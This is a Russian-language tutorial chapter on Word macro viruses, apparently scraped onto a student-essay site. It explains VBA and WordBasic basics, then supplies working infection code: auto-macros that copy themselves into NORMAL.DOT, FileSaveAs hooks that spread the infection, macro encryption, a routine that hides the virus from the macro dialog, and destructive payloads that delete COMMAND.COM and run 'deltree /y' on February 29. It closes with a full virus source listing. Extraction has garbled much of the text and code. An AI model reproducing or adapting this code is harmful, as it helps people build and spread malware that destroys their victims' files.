МАКРО-ВИРУСЫ В этой главе рассказаноо макровирусах. Подробно опи-сана процедура и методы за-ражения файлов. Представленисходный текст макровирусас подробными комментария-ми. Приведены основныесведения о языке VBA, его про-цедурах, функциях, стандарт-ных конструкциях. Как известно, в последнее время большое распространение получилимакро-вирусы.
По сведениям из различных источников, на эти вирусыприходится от 70 до 80 процентов заражений. Изложенный ниже мате-риал поможет разобраться в вирусах этого типа. Инструментарий Для изучения макро-вирусов понадобится некоторое программное обес-печение. В качестве полигона необходим MS-WORD версии 6.0 иливыше. Для изучения зашифрованных макросов может пригодиться диз-ассемблер макросов автор
AURODREPH из VBB. Для более полногопонимания всего изложенного ниже желательно иметь базовые знанияо WORD BASIC. Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя-тельно рекомендуется создать резервную копию шаблонаNORMAL.DOT в каталоге WINWORD6TEMPLATE, так как именноэтот документ обычно заражается макро-вирусом. Когда все готово, са-мое время перейти к основам макро-вирусов. Общие сведения Макрос - это программа, написанная на некотором языке, которая ис-пользуется обычно
для автоматизации определенных процессов внутриприложений. В данном случае разговор пойдет о языках Visual Basic forApplications VBA и WordBasic WB, которые Microsoft использует всвоих программах в частности, Excel, Project и PowerPoint используютVBA, a WinWord - WB. Далее будем считать стандартным языком VBA, так как он представля-ет собой попытку унифицировать
макроязык, сделать его общим длявсех программ Microsoft. Несмотря на то, что WB имеет некоторые от-личия, в том числе и в синтаксисе, структура кода этих языков похожа.При необходимости будет особо отмечено, что речь идет о WB. Макрос VBA - это вызываемые процедуры. Они бывают двух типов процедуры-подпрограммы и процедуры-функции. Процедуры-подпрограммы могут исполняться непосредственно или вы-зываться из других макросов.
Синтаксис их следующий Sub ИмяМакроса - код макроса - Комментарий начинается с апострофа End Sub Пример Данный макрос открывает диалоговое окно и выводит сообщение Sub StupidGreeting MsgBox Hello World End Sub Процедуры-функции также называемые просто функциями возвраща-ют значение, которое может быть передано в качестве параметра другойпроцедуре.
Их синтаксис Function ИмяФункции Аргументы- Инструкции -КомментарийEnd Function Пример Суммирует параметры а и b и возвращаетрезультат в переменную AddABFunction AddABa.bAddABabEnd Function Конечно, в документ можно вставить столько макросов, сколько нужноили сколько хочется, ограничений на их количество нет. Набор мак-росов процедур-подпрограмм и процедур-функций, составляющих до-кумент, называется модулем
VBA. Язык VBA работает также с объектами внутри модулей VBA можноделать ссылки на документы, графику. Объекты обладают свойствами.Например, свойством или атрибутом объекта является его цвет. VBA также позволяет работать с переменными. Как любой язык струк-турного типа, VBA имеет типичные конструкции цикл For-next Sub Counter
Процедура lnfectNum0 For Count1 to 10 Цикл от 1 до 10 lnfectNumlnfectNumCount Next Count MsgBox Достигли максимального количества заражений End Sub 4-1436 условие If-then Sub lnfectCheck If lnfectNum0 Then MsgBox Файл не заражен End Sub конструкция With-end with используется для работы с несколькимисвойствами конкретного объекта Sub ChangePropertiesWith Selection.
Font.BoldTrue .Font.Colorlndex3 красный цветEnd WithEnd Sub селектор Select case-end case Sub CheckJnfection Select Case lnfectNum Case 0 MsgBox Файл не заражен Case is О MsgBox Файл заражен Case is О lnfectNum0 End Case End Sub Полезным инструментом для работы с
VBA является окно отладки.В нем можно трассировать код, вносить в него изменения и делать мно-гое другое. В процессе отладки для остановки на некоторое время ис-полнения кода используются флаги. Чтобы можно было анализироватьсодержимое конкретных переменных иили инструкций, после каждойкоманды выводятся сообщения в отладчике VBA для прерывания ис-полнения кода можно ставить также контрольные точки. Нужно обратить внимание на разнообразные аргументы функций.
Как уже говорилось, структура их следующая Function Имя Аргументы .End Function Аргументами могут быть константы, переменные или выражения.Процедуры могут быть и без аргументов. Function GetNameNameApplication.UserNameEnd Function Некоторые функции всегда требуют фиксированное число аргументовдо 60. Другие функции имеют несколько обязательных аргументов,а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, виру-сы и троянцы на VBA. Язык VBA универсален, и тому есть две причины. Во-первых, этот языкпрост в изучении и использовании, поскольку он является языком ви-зуального программирования, он ориентирован на события, а не наобъекты. С его помощью без особых затрат времени очень легко созда-вать сложные модули. Во вторых, можно использовать большое количе-ство предопределенных функций, облегчающих
работу. В третьих, име-ются функции или макросы автоматического выполнения, чтопозволяет упростить написание процедур автокопирования, занесенияв память и прочих используемых стандартными DOS-вирусами. Помимо этого, преимуществом VBA является свойство переносимости.VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то естьв любой операционной системе, где можно запустить приложения егоподдерживающие. VBA представляет собой язык, адаптированный к языку приложения,
из-под которого он запущен. Это означает, что если на компьютере ус-тановлена, например, испанская версия WinWord, то имена предопреде-ленных функций будут также на испанском. Так что два следующихмакроса - вовсе не одно и то же. Первый макрос испанский Sub DemoMacroCon Seleccion.Fuente.NombreTimesFin ConEnd Sub Второй макрос английский
Sub DemoMacroWith Selection.Font.NameTimes 4 End WithEnd Sub Последний макрос не будет работать в испанской версии WinWordа первый - в английской - он вызовет ошибку выполнения макроса.Еще отметим, что VBA - язык интерпретируемого некомпилируемоготипа, так что каждая ошибка выполнения проявляется в полете. Существуют функции, единые для всех версий
VBA, вне зависимостиот языка. Например, автоматический макрос AutoExec. Всего таких специальных макросов пять, выполняются они автомати-чески AutoExec это макрос, активируемый при загрузке текстового процессо-ра, но только в том случае, если он сохранен в шаблоне Normal.dot илив каталоге стандартных приложений AutoNew активизируется при создании нового документа
AutoOpen активизируется при открытии существующего документа AutoClose активизируется при закрытии документа AutoExit активизируется при выходе из текстового процессора. В качестве доказательства силы и универсальности этих макросов рас-смотрим следующий фрагмент кода о языке уже договорились. Макрос наиболее эффективен, если его сохранить как AutoExitSub Main Проверим регистрационное имяIf Application.
Username MaDMoTHeR Then Снимем атрибуты COMMAND.COMSetAttr CCOMMAND.COM,0 Откроем для проверки - вдруг появятся ошибкиOpen CACOMMAND.COM for Output as 1 Если ошибки есть, то закроем.Close 1 и удалим Kill CACOMMAND.COM End If Проверим месяц и дату. Если 29 февраля, то выполнимкоманду deltree у nulIf
MonthNow2 ThenIf DayNow29 ThenShell deltree y . nuEnd IfEnd IfEnd Sub Что делает этот макрос При выходе из WinWord он проверяет два па-раметра имя, на которое зарегистрирован WinWord если это неMaDMoTHeR, то будет удален файл COMMAND.COM, и текущуюсистемную дату если это 29 февраля, выполняется команда deltree у. nub.
Очень важно знать, как адаптировать автоматический макрос нижеприведен простейший вариант, чтобы активизировать его в открывае-мый по умолчанию шаблон WinWord. Это делается так Определяется переменная, в которую записывается полное имя макроса nameWindowNameAutoNew этот макрос будет выполняться каждый раз при создании нового документа Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко-мандой
MacroCopy name, GlobalAutoNew Это стандартный способ работы макро-вирусов, но есть еще много дру-гих, более интересных способов заражения. Всего то и нужно, что не-много воображения и несколько строчек кода. Одним из трюков, кото-рый усложняет подобные вирусы и затрудняет их анализ, являетсякодирование макро-вирусов. MacroCopy MyTemplateMyMacro, GlobahAutoClose, 1 Если выполняется команда MacroCopy с параметром, равным 1 илидругому числу больше 0, то в результате
копирования будет получентолько исполняемый макрос, который нельзя редактировать. Большинство макро-вирусов имеют типичную структуру. Они начина-ются с автовыполняемого макроса, заражающего глобальный шаблонNormal.dot. Также в их состав входят некоторые макросы, которые зара-жают файлы при определенных действиях FileSaveAs, FileSave,ToolsMacros. Документы заражаются при совершении над ними опера-ций вирусными макросами,
то есть они будут инфицироваться приоткрытии. Код для процедуры автовыполнения может выглядеть примерно так Sub MAIN On Error Goto Abort iMacroCountCountMacros0, 0 Проверка на зараженность For i1 To iMacroCount If MacroNamei, 0, 0PayLoad Then binstalled -1 с помощью макроса Payload End If If MacroNamei, 0, 0FileSaveAs Then bTooMuchTrouble -1 но если есть макрос
FileSaveAs,то заразить тяжело End If Next i If Not binstalled And Not bTooMuchTrouble Then Добавим макросы FileSaveAs и копии AutoExec и FileSavePayload используется только для проверки на зараженность,1 - кодирует макросы, делая их нечитаемыми в Word iWW6llnstanceValGetDocumentVarWW6lnfecto r sMeFileName MacrosMePayLoad MacroCopy Macro, GlobalPayLoad, 1 MacrosMeFileOpen
Будет происходить заражение MacroCopy Macro, GlobahFileOpen, 1 MacrosMeFileSaveAs MacroCopy Macro, GlobahFileSaveAs, 1 MacrosMeAutoExec MacroCopy Macro, GlobahAutoExec, 1 SetProfileString WW6I, StriWW6llnstance1 End If Abort End Sub Процедура SaveAs Она копирует макро-вирус в активный документ при его сохранениичерез
команду FileSaveAs. Эта процедура использует во многом схо-жую с процедурой AutoExec технологию. Код для нее Sub MAIN Dim dig As FileSaveAs GetCurValues dig Dialog dig If Dlg.Format0 Or dlg.Format1 Then MacroCopy FileSaveAs, WindowNameFileSaveAs Заражает при сохранении документаMacroCopy FileSave,
WindowNameFileSaveMacroCopy PayLoad, WindowNamePayLoadMacroCopy FileOpen, WindowNameFileOpen При открытии документаDlg.Format1End If FileDaveAs digEnd Sub Этой информации вполне достаточно для создания небольших макро-вирусов. Специальные процедуры Существует несколько способов скрыть вирус или сделать его болееэффективным. Например, можно создать специальный макрос, прячу-щий вирус, если
ToolsMacro открывается для просмотра. Код такогомакроса может выглядеть примерно так Sub MAINOn Error Goto ErrorRoutine OldNameNomFichier If macros.bDebug Then MsgBox start ToolsMacro Dim dig As OutilsMacro If macros.bDebug Then MsgBox 1 GetCurValues dig If macros.bDebug Then MsgBox 2 On Error Goto SkipDialog digOutilsMacro digSkip
On Error Goto ErrorRoutine При ошибке на выходEnd If REM enable automacrosDisableAutoMacros 0 macros. SavToGlobal01dName macros.objectiv Goto Done Переход на метку Done ErrorRoutine On Error Goto Done Переход на метку DoneIf macros.bDebug Then MsgBox error StrErr occurred Сообщение об ошибкеEnd
If Done End Sub Макро-вирусы также могут включать внешние процедуры. Например,вирус Nuclear пытается откомпилировать и запустить внешнийфайл-разносчик вируса, некоторые троянские макросы пытаются фор-матировать винчестер при открытии документа. Пример макро-вируса Выше были изложены основы для изучения макро-вирусов. Пришловремя рассмотреть исходные тексты. Macro name
AutoNew AUTONEW UEncryption key DFSub MAIN Включаем обработку автоматических макросовDisableAutoMacros 0 Проверим, установлен ли макрос. Если макрос AutoExecприсутствует, считаем, что файл зараженIf lnstalled0 And Forgetlt0 Then Заразим. Копируем макрос MacroCopy WindowNameAutoExec, GlobahAutoExec, 1 MacroCopy WindowNameAutoNew, GlobalAutoNew, 1 MacroCopy WmdowNameAutoOpen, GlobalAutoOpen,
1 MacroCopy WindowNameDateiSpeichem, GlobalDateiSpeichern, 1 MacroCopy WindowNameDateiSpeichernUnter, Global DateiSpeichernllnter, 1 MacroCopy WindowNameDateiBeenden, GlobahDateiBeenden, 1 MacroCopy WindowName ExtrasOptionen , Global ExtrasOptionen, 1 MacroCopy WindowNameDateiDokvorlagen,
GlobaLDateiDokvorlagen, 1 MacroCopy WindowNamelt, Globallt, 1 MacroCopy WindowNameDateiDrucken, GlobahDateiDrucken, 1 End If End Sub Функция проверяет, инсталлирован ли макрос AutoExecFunction Installed Установим переменную Installed в 0 инициализация переменной.При положительном результате проверки установим ее в 1lnstalled0
Проверим, есть ли макросыIf CountMacrosO 0 Then Проверим имена макросов. Если есть AutoExec, установим переменную Installed в 1 For i1 To CountMacrosO If MacroNamei, 0AutoExec Then lnstalled1 End If Next i End If End Function Function Forgetit Forgetlt0 SectionCompatibility ProfilNameNomvir BlaBlaGetProfileStringSection,
ProfilName If BlaBlaOx0690690 Then Forgetlt1 End If End Function
! |
Как писать рефераты Практические рекомендации по написанию студенческих рефератов. |
! | План реферата Краткий список разделов, отражающий структура и порядок работы над будующим рефератом. |
! | Введение реферата Вводная часть работы, в которой отражается цель и обозначается список задач. |
! | Заключение реферата В заключении подводятся итоги, описывается была ли достигнута поставленная цель, каковы результаты. |
! | Оформление рефератов Методические рекомендации по грамотному оформлению работы по ГОСТ. |
→ | Виды рефератов Какими бывают рефераты по своему назначению и структуре. |